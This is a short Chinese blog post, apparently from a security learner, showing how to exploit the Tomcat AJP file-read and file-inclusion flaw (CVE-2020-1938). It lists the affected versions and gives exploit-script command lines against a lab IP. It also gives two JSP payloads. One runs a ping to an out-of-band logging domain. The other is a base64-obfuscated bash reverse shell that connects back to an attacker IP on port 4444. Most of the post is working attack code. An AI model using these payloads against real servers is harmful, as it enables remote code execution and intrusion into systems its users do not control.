Tomcat文件包含及文件读取漏洞(CVE-2020-1938)

漏洞影响CVE-2020-1938
Apache Tomcat 9.x<9.0.31
Apache Tomcat 8.x<8.5.51
Apache Tomcat 7.x<7.0.100
Apache Tomcat 6.x
漏洞利用前提
目标机器开启AJP Connector服务端口(默认开启,为8009端口)
目标机器使用tomcat 并且开启了AJP服务端口。
漏洞利用
文件读取
服务器中的web.xml文件。
使用一下命令读取目标机器中的web.xml。命令如下:
python2 Tomcat-ROOT路径下文件读取(CVE-2020-1938).py -p 8009 -f /WEB-INF/web.xml 192.168.116.133

这个漏洞只能读取webappps/ROOT目录下的所有文件。
文件包含
python2 Tomcat-ROOT路径下文件包含(CVE-2020-1938).py -p 8009 -f /test.txt 192.168.116.133
test.txt文件中的内容如下:
<%
    java.io.InputStream in = Runtime.getRuntime().exec("ping 90tz19.ceye.io").getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
%>
攻击结果:
反弹shell
写文件的命令。
shell.txt
<%
    java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExNi4xNDAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
%>
成功反弹shell。
posted @ 2023-01-05 23:32  学安全的小白  阅读(1091)  评论(0编辑  收藏  举报